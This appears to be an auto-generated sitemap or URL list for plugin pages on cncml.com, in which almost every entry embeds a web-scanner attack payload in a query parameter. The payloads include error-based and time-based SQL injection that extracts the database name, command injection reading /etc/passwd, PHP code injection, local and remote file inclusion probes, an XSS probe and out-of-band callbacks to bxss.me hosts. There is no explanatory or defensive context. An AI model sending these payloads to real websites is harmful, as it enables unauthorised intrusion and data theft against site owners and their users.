http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7')%20AND%2051=81%20AND%20('sx'='sx 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(81=68)%20THEN%20'692490b7'%20ELSE%200x28%20END))%20AND%20('9s'='9s 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7';%20IF(25=37)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7);%20IF(22=58)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b76633x3X6 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7JyI%3D 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7alert(42873) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7e360 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=;print(md5(1122));%23 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=C:%5Cboot.ini 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=ELT(54=53,0x3530376563653264) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=MAKE_SET(18=37,0x3530376563653264) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=dir 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=file:///c:/boot.ini 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=phpinfo 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=response.write(9412458*9542755) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=set%7Cset&set 0.0001 http://www.cncml.com/plugin.php?id=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/plugin.php?id=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/plugin.php?id=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/plugin.php?id=dir 0.0001 http://www.cncml.com/plugin.php?id=file:///c:/boot.ini 0.0001 http://www.cncml.com/plugin.php?id=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/plugin.php?id=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/plugin.php?id=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/plugin.php?id=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/plugin.php?id=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/plugin.php?id=iwenwen:tool&action=sendPostAccount 0.0003 http://www.cncml.com/plugin.php?id=iwenwen:tool&action=updateCategory 0.0003 http://www.cncml.com/plugin.php?id=nds_up_ques:nds_ques_viewanswer&srchtxt=1&orderby=dateline%20and%201=(updatexml(1,concat(0x23,user(),0x23),1))-- 0.0001 http://www.cncml.com/plugin.php?id=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/plugin.php?id=phpinfo 0.0001 http://www.cncml.com/plugin.php?id=response.write(9412458*9542755) 0.0001 http://www.cncml.com/plugin.php?id=security:evilnotice&formhash=315fd7be&inajax=1&ajaxtarget=evil_notice 0.0001 http://www.cncml.com/plugin.php?id=set%7Cset&set 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply%20 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&applysubmit=true&mod=apply)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=(SELECT%20(CASE%20WHEN%20(76=26)%20THEN%200x74727565%20ELSE%2076*(SELECT%2076%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true 0.0015 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%20 0.0001 